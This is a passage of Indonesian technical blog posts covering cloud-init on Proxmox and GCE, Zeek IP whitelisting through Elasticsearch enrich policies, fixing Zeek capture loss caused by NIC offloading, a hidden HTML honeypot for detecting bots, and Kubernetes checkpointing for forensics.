Hal ini karena Proxmox VE menggunakan disk yang berisi cloud config sebagai sarana komunikasi antara sistem operasi dan data source (berbeda dengan implementasi QEMU sebelumnya yang menggunakan web HTTP sebagai media komunikasi). Disk ini kemudian akan ditempelkan ke VM yang akan menggunakan konfigurasi di disk tersebut.

Oleh sebab itu, sebelum bisa melakukan pengaturan pada halaman cloud-init, saya perlu terlebih dahulu memilih menu Hardware, Add, CloudInit Drive seperti yang terlihat pada gambar berikut ini:

Sampai disini, halaman cloud-init sudah bisa dipakai. Namun, bagaimana caranya supaya saya bisa menggunakan cloud config yang sudah saya buat dalam bentuk YAML?

Langkah pertama yang harus saya lakukan adalah membuat sebuah storage baru dengan memilih Datacenter, Storage, Add. Sebagai latihan, saya akan memilih Directory dan menggunakan lokasi /var/lib/jocki_storage untuk membuat storage yang saya sebut sebagai jocki_storage. Pada bagian Content, saya wajib memilih Snippets.

Saya kemudian menyalin isi cloud config yang ada di di atas ke dalam file baru dengan nama /var/lib/jocki_storage/snippets/my_cloud_config.yaml.

Pada langkah berikutnya, saya akan mengasosiasikan my_cloud_config.yaml tersebut ke VM yang sudah saya buat sebelumnya. Saya tidak dapat melakukan ini dari halaman web sehingga saya perlu masuk ke dalam node Proxmox dan memberikan perintah qm seperti berikut ini:

Terminal window

$ qm set 100 --ipconfig0 ip=dhcp
$ qm set 100 --cicustom "user=jocki_storage:snippets/my_cloud_config.yaml"

Pada perintah di atas, 100 adalah ID VM yang akan menggunakan cloud config tersebut. Saya menambahkan konfigurasi --ipconfig0 ip=dhcp supaya perangkat jaringan VM dapat memiliki koneksi Internet saat dinyalakan (untuk men-download Docker dan image nginx yang akan dijalankan). Proxmox VE akan memastikan bahwa konfigurasi ini tidak akan ditimpa oleh konfigurasi yang ada di my_cloud_config.yaml.

Sebagai langkah terakhir, sebelum menjalankan VM, saya perlu menggunakan cloud image Ubuntu sebagai disk utama pada VM tersebut. Karena format raw disk img tidak seperti qcow2 yang didukung secara langsung, saya kembali harus menggunakan CLI untuk menyelesaikan langkah ini. Saya segera memberikan perintah seperti berikut ini:

Terminal window

$ cd /tmp
$ wget https://cloud-images.ubuntu.com/noble/current/noble-server-cloudimg-amd64.img
$ qm set 100 --scsi0 local:0,import-from=/tmp/noble-server-cloudimg-amd64.img
$ qm set 100 --boot order=scsi0

Pada perintah di atas, saya membuat sebuah disk SCSI di storage bawaan dengan nama local. Saya juga menambahkan --boot order=scsi0 sehingga saat VM dijalankan, sistem operasi Ubuntu yang ada di disk ini akan dijalankan.

Sekarang, saya siap untuk menjalankan VM. Tidak lama setelah mengaktifkan VM, saat muncul prompt login, saya bisa login dengan menggunakan user jocki dan password password123 sesuai dengan yang ada di cloud config. Selain itu, bila saya memberikan perintah curl http://localhost:8080, saya akan menemukan respon yang menunjukkan bahwa Docker dan container sudah dipersiapkan oleh cloud-init secara otomatis. Terlihat bahwa kondisi ini persis sesuai dengan VM saya di QEMU walaupun kali ini saya menggunakan Proxmox VE.

Google Compute Engine (GCE)

Penggunaan cloud-init di platform cloud seperti Google Compute Engine (GCE) jauh lebih gampang dibandingkan dengan self-hosted platform sebelumnya. Sebagai contoh, di GCE, pada saat membuat VM baru, saya hanya perlu menambahkan sebuah metadata dengan key user-data yang berisi cloud config seperti yang saya buat di atas seperti yang terlihat pada gambar berikut ini:

Setelah menunggu sejenak hingga VM selesai dibuat dan cloud-init sudah selesai bekerja, saya bisa login ke VM dan memberikan perintah curl http://localhost:8080 untuk memastikan bahwa cloud-init meng-install Docker dan menjalankan container nginx sesuai dengan cloud config yang ada.

Terlihat bahwa berkat cloud-init dengan cloud config yang sama, saya mendapatkan isi VM yang konsisten tanpa harus melakukan setup secara manual walaupun berada di platform yang berbeda.

Menambahkan Whitelist IP Di Dashboard Kibana Untuk Zeek

Wed, 23 Apr 2025 00:00:00 GMT

Pada suatu hari, saya mengirim data dari Zeek ke Elasticsearch dengan menggunakan Filebeat. Visualisasi bekerja dengan baik di Kibana dimana saya bisa melihat informasi koneksi jaringan (dari conn.log), aktifitas mencurigakan (dari weird.log dan notice.log) dan sebagainya. Namun seiring waktu berlalu, saya selalu menemukan log yang sama terus menerus berulang kali yang sesungguhnya bukan hal berbahaya (misalnya karena aplikasi lokal yang menggunakan protokol langka) sehingga membuat saya sulit langsung mengidentifikasi ancaman saat melihat visualisasi. Apa yang bisa saya lakukan untuk meningkatkan kualitas monitoring jaringan ini?

Salah satu solusi yang umum diterapkan adalah menggunakan fitur threat intelligence. Bila ingin menggunakan fitur ini, saya perlu mengambil data dari threat intelligence platform seperti AbuseCH, AlienVault OTX, MISP dan sebagainya. Threat intelligence platform tersebut berisi Indicators of Compromise (IoC) (seperti IP yang dihubungi malware) yang diperbaharui secara berkala. Dengan adanya IoC tersebut, visualiasi saya nantinya benar-benar hanya berisi ancaman (misalnya koneksi ke IP berbahaya sesuai IoC yang terdaftar). Teknik seperti ini disebut juga sebagai black-list based detection. Walaupun paling umum dipakai, salah satu kekurangannya adalah untuk mendapatkan IoC terbaru dengan kualitas tinggi, saya umumnya perlu melakukan registrasi atau membayar biaya langganan.

Pada skala yang lebih kecil dengan perilaku jaringan yang lebih statis, salah satu solusi yang lebih hemat adalah melakukan penyaringan berdasarkan whitelist. Bila saya tahu sebuah aplikasi biasanya melakukan koneksi ke IP tertentu, saya bisa membuat whitelist untuk IP tersebut sehingga visualiasi hanya akan menampilkan IP yang tidak biasanya. Pendekatan ini lebih mirip ke arah anomaly-based detection . Pendekatan anomaly-based detection tidak selalu lebih lemah dibandingkan black-list based detection karena anomaly-based detection bisa membantu mendeteksi ancaman yang IoC-nya tidak (belum) dipublikasikan (tentu saja solusi terbaik adalah menggabungkan kedua jenis deteksi ini).

Pada tulisan ini, saya akan mencoba menerapkan whitelist untuk IP yang dikirim Zeek ke Elasticsearch melalui Filebeat. Saya akan menggunakan fitur data enrichment di Elasticsearch untuk menambahkan property whitelisted dengan nilai true.

Menambahkan Daftar IP Whitelist

Langkah paling awal yang perlu saya lakukan adalah menambahkan dokumen berisi daftar IP yang di-whitelist ke sebuah index. Untuk membuat sebuah index baru, saya bisa membuka menu Management, Dev Tools di Kibana dan mengetikkan request seperti berikut ini:

PUT /whitelisted-ip
{
  "mappings": {
    "properties": {
      "ip": {"type": "ip_range"},
      "whitelisted": {"type": "boolean"},
      "asn": {"type": "keyword"},
      "hostname": {"type": "keyword"}
    }
  }
}

Request di atas akan membuat sebuah index baru dengan nama whitelisted-ip yang berisi property ip, whitelisted, asn, dan hostname. Perhatikan bahwa saya menggunakan tipe data ip_range pada ip sehingga saya bisa menggunakan CIDR seperti 10.100.0.0/16 yang akan berlaku untuk seluruh IP mulai dari 10.100.0.0 hingga 10.100.255.255.

Setelah index dibuat, saya dapat menambahkan dokumen baru dengan request seperti berikut ini:

POST /whitelisted-ip/_doc
{
  "ip": "1.1.1.1/32",
  "whitelisted": true,
  "asn": "cloudflarenet",
  "hostname": "one.one.one.one"
}

POST /whitelisted-ip/_doc
{
  "ip": "8.8.8.8/32",
  "whitelisted": true,
  "asn": "google",
  "hostname": "dns.google"
}

Membuat Enrich Policy

Untuk membuat enrich policy baru, saya dapat memilih menu Stack Management, Index Management, Enrich Policies di Kibana dan men-klik tombol Add an enrich policy. Sebagai alternatif, saya juga menggunakan API seperti berikut ini:

PUT /_enrich/policy/whitelisted-ip-policy
{
    "range": {
        "indices": "whitelisted-ip",
        "match_field": "ip",
        "enrich_fields": ["whitelisted", "asn", "hostname"]
    }
}

Enrich policy di atas akan menggunakan property ip di index whitelisted_ip sebagai acuan perbandingan. Bila nilainya sesuai, property whitelisted, asn dan hostname akan ditambahkan pada document yang sedang diproses. Enrich policy mendukung perbandingan dengan menggunakan geo_match, match dan range. Pada contoh di atas, saya menggunakan range karena saya akan membandingkan nilai IP tunggal di dokumen dengan range IP di setiap dokumen yang tersimpan di index whitelisted-ip.

Setelah enrich policy dibuat, saya perlu menjalankannya dengan memanggil API seperti berikut ini:

PUT /_enrich/policy/whitelisted-ip-policy/_execute

Request di atas akan membuat sebuah index baru dengan nama .enrich-whitelisted-ip-policy-* yang nilainya hampir sama dengan index whitelisted-ip. Karena index yang akan digunakan oleh enrich policy adalah index .enrich-whitelisted-ip-policy-*, setiap kali saya menambahkan dokumen baru ke whitelisted-ip, saya perlu menjalankan kembali request di atas agar isi index .enrich-whitelisted-policy-* diperbaharui.

Menggunakan Processor di Ingest Pipeline

Pada saat saya mengaktifkan Zeek di Filebeat, ia akan membuat ingest pipeline dengan nama seperti filebeat-8.17.4-zeek-connection-pipeline. Saya dapat melihat isinya dengan memilih menu Management, Stack Management, Ingest Pipelines. Setelah men-klik ingest pipeline bersangkutan, saya dapat men-klik menu Manage, Edit untuk melakukan perubahan pada ingest pipeline tersebut. Sebagai contoh, agar enrich policy yang saya buat dilangkah sebelumnya dipakai, saya perlu menambahkan sebuah processor baru dengan nama enrich dengan men-klik Add a processor dan mengisinya seperti berikut ini:

Setelah men-klik tombol Add processor dan Save pipeline, enrich policy whitelisted-ip-policy akan dipakai oleh Filebeat dengan mencocokkan nilai destination.ip dengan IP yang ada di index whitelisted-ip. Bila ada IP yang cocok, maka nilai enrich_fields dari index tersebut akan ditambahkan ke dokumen dalam bentuk object dengan nama destination.whitelist seperti:

{
  "destination": {
    "address": "8.8.8.8",
    "whitelist": {
       "whitelisted": true,
       "asn": "google",
       "hostname": "dns.google"
    }
  }
}

Melihat Hasil Di Kibana

Sampai disini, setiap log baru dari conn.log milik Zeek akan memiliki destination.whitelist bila IP yang dipakai sesuai dengan IP yang terdaftar di index whitelisted-ip. Informasi ini bisa saya pakai untuk membuat filter seperti yang terlihat pada gambar berikut ini:

Pada filter di atas, visualisasi dashboard tidak akan menyertakan seluruh dokumen yang nilai destination.whitelist.whitelisted berupa true. Dengan demikian, IP yang sudah di-whitelist tidak akan muncul lagi di chart Kibana dan saya pun bisa berfokus pada IP baru yang belum dikenali.

Namun, saya juga tetap bisa melihat koneksi ke IP yang sudah di-whitelist dengan men-klik filter dan memilih Include results. Bila ingin melihat seluruh IP yang ada, saya bisa memilih Temporary disable untuk mematikan filter (tanpa menghapus filter tersebut) seperti yang terlihat pada gambar berikut ini:

Memperbaharui Index Acuan

Setelah semuanya bekerja dengan baik sesuai harapan, langkah selanjutnya adalah mengelola daftar IP yang ada di index whitelisted-ip. Namun, ternyata langkah ini tidak sesederhana yang saya bayangkan. Menambahkan IP baru ke index whitelisted-ip saja tidak cukup! Enrich policy tidak dapat dimodifikasi setelah dibuat. Oleh sebab itu, saya perlu membuat enrich policy baru dengan nama yang berbeda, menjalankannya dan mengubah processor di ingest pipeline untuk memakai enrich policy baru ini. Dengan kata lain, saya perlu mengulangi seluruh langkah di atas setiap kali menambahkan IP baru di index whitelisted-ip!

Karena proses ini cukup merepotkan, saya akan membuat sebuah script Python sederhana dengan isi seperti berikut ini:

update_enrich_policy.py

#!/usr/bin/env python3
import datetime
import sys
import requests


ES_HOST = 'http://localhost:9200'


def create_new_enrich_policy(policy_name):
    print(f"Creating new enrich policy {policy_name}...")
    r = requests.put(f"{ES_HOST}/_enrich/policy/{policy_name}",json={
        'range': {
            'indices': 'whitelisted-ip',
            'match_field': 'ip',
            'enrich_fields': ['whitelisted', 'asn', 'hostname']
        }
    })
    if not r.ok:
        print(f"Error {r.status_code}: {r.text}")
        sys.exit(-1)
    print(f"Enrich policy {policy_name} created successfully.\n")


def running_enrich_policy(policy_name):
    print(f"Running enrich policy {policy_name}...")
    r = requests.put(f"{ES_HOST}/_enrich/policy/{policy_name}/_execute?wait_for_completion=true")
    if not r.ok:
        print(f"Error {r.status_code}: {r.text}")
        sys.exit(-1)
    print(f"Enrich policy {policy_name} executed successfully.\n")


def delete_enrich_policy(policy_name):
    print(f"Deleting enrich policy {policy_name}...")
    r = requests.delete(f"{ES_HOST}/_enrich/policy/{policy_name}")
    if not r.ok:
        print(f"Error {r.status_code}: {r.text}")
        sys.exit(-1)
    print(f"Enrich policy {policy_name} deleted successfully.\n")


def updating_enrich_processor(policy_name):
    print(f"Adding enrich processor...")
    r = requests.get(f"{ES_HOST}/_ingest/pipeline/filebeat-8.17.4-zeek-connection-pipeline")
    if not r.ok:
        print(f"Error {r.status_code}: {r.text}")
        sys.exit(-1)
    ingest_pipeline = r.json()['filebeat-8.17.4-zeek-connection-pipeline']

    new_processors = []
    deleted_policies = set()
    for p in ingest_pipeline['processors']:
        if 'enrich' in p:
            existing_policy_name = p['enrich']['policy_name']
            if existing_policy_name.startswith('whitelisted-ip-policy'):
                deleted_policies.add(existing_policy_name)
                continue
        new_processors.append(p)

    new_processors.append({
        'enrich': {
            'field': 'source.ip',
            'policy_name': policy_name,
            'target_field': 'source.whitelist',
        }
    })
    new_processors.append({
        'enrich': {
            'field': 'destination.ip',
            'policy_name': policy_name,
            'target_field': 'destination.whitelist',
        }
    })
    ingest_pipeline['processors'] = new_processors
    r = requests.put(f"{ES_HOST}/_ingest/pipeline/filebeat-8.17.4-zeek-connection-pipeline",
                     json=ingest_pipeline)
    if not r.ok:
        print(f"Error {r.status_code}: {r.text}")
        sys.exit(-1)
    print(f"Enrich processor has been updated.\n")

    # Delete only after ingest pipeline has been updated and
    # the old enrich policies are not referenced anymore
    for p in deleted_policies:
        delete_enrich_policy(p)


policy_name = f"whitelisted-ip-policy-{datetime.datetime.now().strftime('%Y-%m-%d-%H-%M')}"
create_new_enrich_policy(policy_name)
running_enrich_policy(policy_name)
updating_enrich_processor(policy_name)
print('Done!\n')

Sekarang, setiap kali melakukan perubahan pada index whitelisted-ip, saya hanya perlu menjalankan script di atas.

Mengatasi Capture Loss Di Zeek

Sun, 06 Apr 2025 00:00:00 GMT

Pada suatu hari, saya melakukan instalasi Zeek untuk melakukan monitoring jaringan. Seperti biasanya, saya menggunakan Filebeat untuk mengirim log Zeek yang ada di /opt/zeek/logs ke ElasticSearch. Setelah itu, saya membuat visualisasi di Kibana untuk mempermudah memahami hasil tangkapan Zeek tersebut. Semuanya terlihat lancar karena saya bisa melihat aktifitas jaringan muncul di Kibana. Setelah beberapa hari, saya baru menyadari ada yang salah saat melihat isi file capture_loss.log. Nilai percent_lost-nya cukup tinggi hingga mencapai 60% yang menunjukkan bahwa Zeek mendeteksi banyak ACK yang tidak berurut. Nilai ACK pada protokol TCP selalu bertambah satu untuk setiap packet baru. Bila nilai yang diterima Zeek yang tidak berurut, ini berarti ada packet yang gagal dilihat Zeek. Selain itu, pada reporter.log, saya menemukan pesan seperti Your interface is likely receiving invalid TCP and UDP checksums, most likely from NIC checksum offloading..

Secara umum, ada banyak penyebab kenapa packet bisa gagal diterima oleh Zeek. Dari sisi hardware, bisa jadi perangkat jaringan terlalu lambat dalam melakukan packet mirroring atau mesin yang menjalankan Zeek tidak cukup kuat memproses packet yang masuk. Namun, pada kasus yang saya hadapi, penyebabnya adalah konfigurasi sistem operasi sehingga bisa diselesaikan tanpa harus membeli perangkat baru. Perangkat kartu jaringan (NIC) modern memiliki fitur offloading sehingga beberapa kalkulasi dilakukan oleh network processor yang berada di perangkat jaringan tanpa harus melibatkan CPU. Namun, fitur ini justru menjadi penghalang pada saat NIC berperan sebagai pendengar pasif (bukan penerima maupun pengirim).

Sebagai contoh, TCP offloading adalah fitur dimana sistem operasi tidak perlu menghitung checksum dan boleh membiarkan bagian tersebut kosong. Nanti saat packet dikirim, checksum akan ditambahkan secara otomatis oleh NIC (dihitung oleh network processor tanpa membebani CPU). Sebaliknya, saat packet diterima, NIC akan melakukan verifikasi checksum dan mengabaikan packet yang gagal diverifikasi sehingga sistem operasi tidak perlu memproses packet yang tidak valid. Ini adalah fitur yang bagus untuk meningkatkan kinerja jaringan pada penggunaan normal, namun pada saat melakukan packet capture, fitur seperti ini dapat membuat packet tidak diterima dengan baik.

Selain checksum, masih ada banyak fitur offloading NIC lainnya seperti TCP Segmentation Offload (TSO), Large Receive Offload (LRO) dan sebagainya. Untuk melihat satus offloading di Ubuntu, saya dapat menggunakan ethtool diikuti dengan nama perangkat jaringan seperti pada contoh berikut ini:

Terminal window

$ ethtool --show-offload eth0

Untuk mematikan sebuah fitur offloading di kartu jaringan, saya dapat menggunakan perintah seperti berikut ini:

Terminal window

$ ethtool -K eth0 gso off
$ ethtool -K eth0 rx off tx off

Setelah mematikan fasilitas NIC offloading, saya tidak menemukan lagi nilai percent_lost yang tinggi di capture_loss.log. Namun, masih ada satu kendala yang belum terpecahkan: perubahan yang dilakukan dengan ethtool tidak permanen sehingga saat perangkat di-restart, fitur NIC offloading akan kembali aktif. Bagaimana caranya supaya perubahan ini permanen?

Sebelumnya, saya perlu mencari tahu network management yang dipakai di versi Ubuntu yang saya pakai. Versi Ubuntu yang berbeda bisa saja menggunakan network management yang berbeda seperti yang ditunjukkan pada tulisan Konfigurasi Jaringan Di Ubuntu Dengan Netplan. Pada kasus ini, saya menggunakan Ubuntu Desktop yang menggunakan NetworkManager sebagai network management. Oleh sebab itu, saya dapat melakukan konfigurasi dengan untuk konfigurasi jaringan dengan menggunakan nmcli.

Untuk mematikan fitur NIC offloading dengan nmcli, saya memberikan perintah seperti berikut ini:

Terminal window

$ nmcli connection modify "Wired connection 1" ethtool.feature-rx off ethtool.feature-tx off
$ nmcli connection modify "Wired connection 1" ethtool.feature-gro off ethtool.feature-gso off

Untuk memastikan perubahannya sudah benar, saya me-restart mesin dan memastikan bahwa nilai percent_lost di capture_loss.log tetap nol.

Memakai HTML Trap Untuk Mendeteksi Bot

Sun, 12 Jan 2025 00:00:00 GMT

Salah satu teknik untuk mendeteksi bot (seperti scrapper) adalah menggunakan trap berupa HTML tersembunyi yang tidak bisa dilihat oleh pengguna namun akan dibaca oleh bot. HTML honeypot seperti ini adalah salah satu teknik yang dipakai oleh layanan anti-spam seperti Cloudflare dan DataDome. Pada tulisan ini, saya akan membuat trap berupa form HTML untuk login pada blog ini. Form login ini tidak akan terlihat oleh pengguna sehingga tidak akan ada request dari pengguna. Bila ada yang memanggilnya, kemungkinan besar ini adalah IP bot atau scrapper yang membaca HTML. Saya kemudian bisa menambahkan daftar IP yang terdekteksi ke platform threat intelligence untuk diawasi lebih lanjut atau di-blokir. Ini adalah salah satu bentuk pertahanan di fase Reconnaissance.

Berdasarkan Cyber Kill Chain, reconnaissance adalah tahap pertama dari serangan cyber. Semakin awal deteksi dan pencegahan dilakukan, semakin sedikit dampak yang ditimbulkan oleh serangan cyber tersebut. Namun, ini sering kali salah dimengerti menjadi seolah-olah tim security hanya berfokus pada reconnaissance dan tahap awal lainnya (membangun perimeter). Karena berbagai faktor seperti kompleksitas sistem informasi, kesalahan manusia dan keterbatasan sumber daya, tidak mungkin sebuah tahap di CKC dapat dideteksi dan dicegah sepenuhnya. Tujuan tim security adalah mengurangi celah yang ada di seluruh tahap CKC sehingga menjadi seminimal mungkin.

Selain itu, tidak semua serangan selalu diawali oleh tahap reconnaissance sementara CKC memetakan serangan sebagai sesuatu yang terjadi secara berurutan. Contohnya adalah pada kasus seperti berikut ini:

Service account atau akun cloud yang diberikan kepada vendor secara tidak sengaja bocor ke publik dan kemudian dipakai oleh penyerang untuk menambahkan VM baru yang berisi backdoor.
Pegawai melakukan interview pekerjaan palsu yang dipersiapkan oleh threat actor. Ia diminta untuk menjalankan sebuah proyek dari GitHub di laptop kerjanya sebagai bagian dari interview. Proyek GitHub ini saat dijalankan akan men-download backdoor yang kemudian dipakai oleh penyerang untuk masuk ke jaringan internal perusahaan.
Programmer tidak sengaja menyertakan dependency yang berbahaya (misalnya lewat typosquatting) sehingga aplikasi yang jalan memiliki backdoor di URL tertentu. Pembuat dependency berbahaya akan langsung memanggil URL tersembunyi ini untuk mengerjakan perintah jarak jauh.

Unified Kill Chain adalah sebuah model yang dibuat untuk menghindari kesalahpahaman di CKC. Salah satu perubahan penting di UKC adalah setiap tahap di kill chain tidak harus dilakukan berurutan. Pada UKC, taktik dikelompokkan berdasarkan tujuannya: In, Through, dan Out. Bila target serangan berada di jaringan yang sama, In bisa langsung ke Out (bila tidak, In harus ke Through terlebih dahulu). Proses yang ada di In dapat dilihat sebagai loop, jika penyerang gagal di In dengan sebuah taktik, penyerang akan mengulangi lagi dengan taktik yang berbeda dan seterusnya hingga berhasil.

HTML Trap

Sebagai latihan, saya akan menambahkan sebuah trap statis pada halaman https://jocki.me dalam bentuk HTML pada seperti berikut:

<trap style="position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: -2">
    <form method="POST" action="/ikcoj/wp-login.php" id="loginForm">
        <label for="username">User name:</label>
        <input type="text" name="username" id="username" autocomplete />
        <label for="password">Password:</label>
        <input type="password" name="password" id="password" />
        <input type="submit" value="Login" />
    </form>
</trap>
<trap style="position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: -1; background-color: white">
</trap>

Pada HTML di atas, saya mendefinisikan HTML Form yang berisi username dan password serta sebuah tombol Login. Bila tombol Login tersebut ditekan, data akan dikirim ke hxxps[://]jocki[.]me/ikcoj/wp-login[.]php. Walaupun HTML Form tersebut bisa dipakai, pengguna tidak akan pernah menjumpai HTML Form ini karena saya menggunakan position: fixed di CSS dengan z-index: -2 sehingga ia akan ditimpa oleh <div> di depannya. Biar lebih pasti lagi, saya menambahkan sebuah <div> berwarna putih (backgrond-color: white) dengan z-index: -1 sehingga warna putih polos ini akan menimpa HTML Form dibelakangnya.

Karena HTML Form di atas tidak akan pernah terlihat, saya akan mengasumsikan siapa saja yang berinteraksi dengan hxxps[://]jocki[.]me/ikcoj/wp-login[.]php adalah bot.

Analisa

Untuk melihat hasil dari trap, saya dapat menggunakan query berikut ini di Log Explorer untuk mencari HTTP request yang memenuhi kriteria:

"https://jocki.me/ikcoj/wp-login.php"
httpRequest.requestMethod="POST"

Bila saya mengaktifkan Log Analitycs, saya juga dapat menggunakan BigQuery SQL untuk membaca log seperti yang terlihat pada gambar berikut ini:

Bila ingin lebih indah lagi, saya juga dapat mengubah log menjadi metrics dan membuat visualiasi-nya dalam bentuk dashboard seperti pada gambar berikut ini:

Pada hasil di atas, terlihat bahwa terdapat IP dari berbagai negara berbeda yang mengerjakan POST request pada trap yang saya buat. Top IP berasal dari Kamboja, India, Brazil, Indonesia, dan Nepal. Bila dilihat dari user agent-nya, seluruh request menggunakan user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36. Ini seharusnya adalah Chrome 120 pada Windows 10. Namun, pengguna biasa seharusnya sudah men-upgrade browser mereka menjadi yang terbaru.

Setelah melakukan pencarian, user agent ini adalah user agent yang dipakai oleh malware seperti SSLoad. Ada kemungkinan IP yang dipakai untuk memanggil trap adalah IP yang terinfeksi malware dan kini menjadi zombie yang dipakai untuk menyerang situs lain, termasuk blog ini.

Sebagai langkah berikutnya, bila ini adalah sistem yang kritis, saya dapat mem-blokir seluruh IP yang memanggil trap dengan menambahkannya pada firewall. Tingkat false positive disini sangat rendah karena IP tersebut sudah dengan sengaja mengirim POST request (berbeda dengan GET request yang bisa saja datang dari service worker dan search engine crawler sehingga boleh diabaikan).

Menggunakan Checkpoint Di Kubernetes Untuk Forensik

Mon, 06 Jan 2025 00:00:00 GMT

Pada tulisan Mematikan Pod Secara Otomatis Saat Tracee Mendeteksi Bahaya, saya menerapkan incident response (IR) dengan mematikan Pod secara otomatis. Pada tulisan ini, saya akan berfokus pada digital forensik (DF)-nya. Bila Pod telah dimatikan dan lenyap, bagaimana caranya melakukan forensik untuk memahami apa yang terjadi? Salah satu fitur Kubernetes yang bisa saya pakai untuk keperluan ini adalah Checkpoint API. Checkpoint dirancang khusus untuk bekerja pada container yang sedang berjalan tanpa mempengaruhi container tersebut. Oleh sebab itu, saya perlu membuat checkpoint sebelum mematikan Pod.

Forensic Container Checkpointing

Fitur Forensic Container Checkpointing ditambahkan di Kubernetes pertama kali pada versi 1.25. Pada saat itu, fitur ini memiliki status alpha sehingga perlu diaktifkan secara manual bila ingin dipakai. Forensic Container Checkpointing memasuki tahap beta di Kubernetes versi 1.30 sehingga bila saya menggunakan Kubernetes versi 1.30 ke atas, fitur ini sudah aktif secara bawaan.

Forensic Container Checkpointing di Kubernetes menggunakan CRIU untuk menyimpan salinan isi container yang sedang berjalan mulai dari isi memori untuk setiap proses yang sedang berjalan, setiap file baru yang dibuat diluar image yang dipakai, dan metadata container tersebut. Hasil dari checkpoint secara default akan disimpan di lokasi /var/lib/kubelet/checkpoints. Isi folder ini dapat dipindahkan ke komputer lain untuk analisa forensik digital.

Pada tulisan Mematikan Pod Secara Otomatis Saat Tracee Mendeteksi Bahaya, saya menggunakan Kubernetes API (kube-apiserver) untuk mendapatkan daftar Pod, mematikan Pod dan sebagainya. Namun, saya tidak bisa membuat checkpoint dengan Kubernetes API. Sebagai gantinya, saya harus memangggil Kubelet API (kubelet).

Setiap node di cluster Kubernetes menyediakan Kubelet API di port 10250 dengan tujuan untuk dipanggil oleh control plane. Karena bukan untuk dipanggil oleh pengguna secara langsung, endpoint di Kubelet API tidak didokumentasikan secara resmi dan bisa berubah seiring waktu tanpa pemberitahuan. Namun, untuk saat ini, saya wajib menggunakan Kubelet API karena fitur checkpoint hanya tersedia di endpoint POST /checkpoint/{namespace}/{pod}/{container}, saya wajib menggunakan Kubelet API.

Checkpoint API bekerja pada level container sehingga saya perlu mengetahui nama container yang akan dibuat checkpoint-nya. Ssebuah Pod dapat memiliki lebih dari satu container, misalnya pada saat menggunakan Istio, Pod memiliki tambahan sidecar container yang dibuat otomatis. Deteksi yang dilakukan oleh Tracee juga berlaku pada level container, misalnya, jika aktifitas mencurigakan ada di sidecar container (bukan di container aplikasi) maka log Tracee akan berisi container id untuk sidecar container tersebut.

Minikube

Walaupun Kubelet API sudah mendukung Checkpoint API, container runtime yang dipakai juga wajib mendukung fitur checkpoint. Bila container runtime tidak mendukung, saat memanggil Checkpoint API, saya akan mendapatkan respon 500 - Internal Server Error. Setelah menelusuri log Kubelet (misalnya dengan journalctl -u kubelet), saya akan menemukan pesan kesalahan seperti CheckpointContainer not implemented.

Pada saat tulisan ini dibuat, seluruh container runtime bawaan Minikube v1.34.0 yang saya pakai tidak ada yang mendukung fitur checkpoint. Hal ini berarti pemanggilan Checkpoint API dari Kubernetes akan selalu gagal. Satu-satunya container runtime yang paling mendekati adalah CRI-O. Minikube v1.34.0 datang dengan CRI-O versi 1.24, sementara itu dukungan checkpoint di CRI-O ditambahkan di versi 1.25. Karena hanya beda satu versi minor, saya akan mencoba meng-upgrade versi CRI-O yang dipakai oleh Minikube.

Karena saya menggunakan Docker driver untuk mensimulasikan node Kubernetes di Minikube, saya akan men-build image kicbase secara manual. Untuk itu, saya perlu men-download source code Minikube yang ada di https://github.com/kubernetes/minikube. Langkah pertama yang saya lakukan adalah mengaktifkan CRIU di CRI-O. Saya dapat melakukannya dengan menambahkan baris berikut ini pada file deploy/kicbase/02-crio.conf:

deploy/kicbase/02-crio.conf

[crio.image]
# pause_image = ""

[crio.network]
# cni_default_network = ""

[crio.runtime]
# cgroup_manager = ""
enable_criu_support = true

Setelah itu, saya men-build image kicbase dengan menyertakan argumen CRI_VERSION berupa nilai 1.25 seperti pada berikut ini:

Terminal window

$ docker build -t kicbase:test-checkpoint -f deploy/kicbase/Dockerfile \
  --build-arg VERSION_JSON='{"iso_version": "v1.33.1-1724862017-19530", "kicbase_version": "v0.0.45", "minikube_version": "v1.34.0", "commit": "613a681f9f90c87e637792fcb55bc4d32fe5c29c"}' \
  --build-arg CRIO_VERSION='1.25' \
  .

Sampai disini, saya akan mendapatkan image kicbase lokal yang sudah menggunakan CRI-O 1.25 dengan dukungan checkpoint yang sudah diaktifkan. Agar Minikube dapat menggunakan image ini, saya perlu meletakkan image ini ke sebuah registry publik. Sebagai contoh, saya bisa menggunakan registry lokal dengan perintah seperti berikut ini:

Terminal window

$ docker run -p 5000:5000 --name registry registry:latest
$ docker tag kicbase:test-checkpoint localhost:5000/kicbase:test-checkpoint
$ docker push localhost:5000/kicbase:test-checkpoint

Saya kemudian membuat cluster Kubernetes baru di Minikube dengan perintah seperti berikut ini:

Terminal window

$ minikube delete
$ minikube start --base-image=localhost:5000/kicbase:test-checkpoint --cni=bridge -c cri-o

Setelah cluster Kubernetes dibuat, saya dapat memastikan versi container runtime yang dipakai sudah benar dengan memberikan perintah seperti berikut ini:

Terminal window

$ kubectl get nodes -o wide

##
## Output:
## NAME       STATUS   ROLES           CONTAINER-RUNTIME
## minikube   Ready    control-plane   cri-o://1.25.4

Saya perlu memastikan bahwa kolom STATUS bernilai Ready dan nilai CONTAINER-RUNTIME adalah cri-o://1.25.4 yang sudah mendukung checkpoint.

RBAC

Untuk authorization Kubelet, saya dapat menggunakan nama resource nodes, misalnya nodes/metrics untuk akses ke metrics, nodes/logs untuk akses ke logs, dan nodes/checkpoint untuk akses ke checkpoint. Karena ingin menggunakan fitur checkpoint, saya akan menambahkan nodes/checkpoint ke ClusterRole yang sebelumnya saya pakai:

deployment.yaml

...
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: alert-responder-role
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["list", "get", "delete"]
  - apiGroups: [""]
    resources: ["nodes"]
    verbs: ["list", "get"]
  - apiGroups: [""]
    resources: ["nodes/checkpoint"]
    verbs: ["*"]
---
...

Kode Program

Saya akan melakukan perubahan kode program alert-responder yang saya buat di tulisan Mematikan Pod Secara Otomatis Saat Tracee Mendeteksi Bahaya.

Untuk memanggil Checkpoint API, saya membutuhkan informasi berupa namespace, nama Pod dan nama container di dalam Pod. Log dari Tracee sudah menyediakan informasi container di property containerId dan container.id. Saya bisa menambahkan function berikut ini untuk mendapatkan nilai container id yang diasosiasikan dengan alert yang sedang aktif:

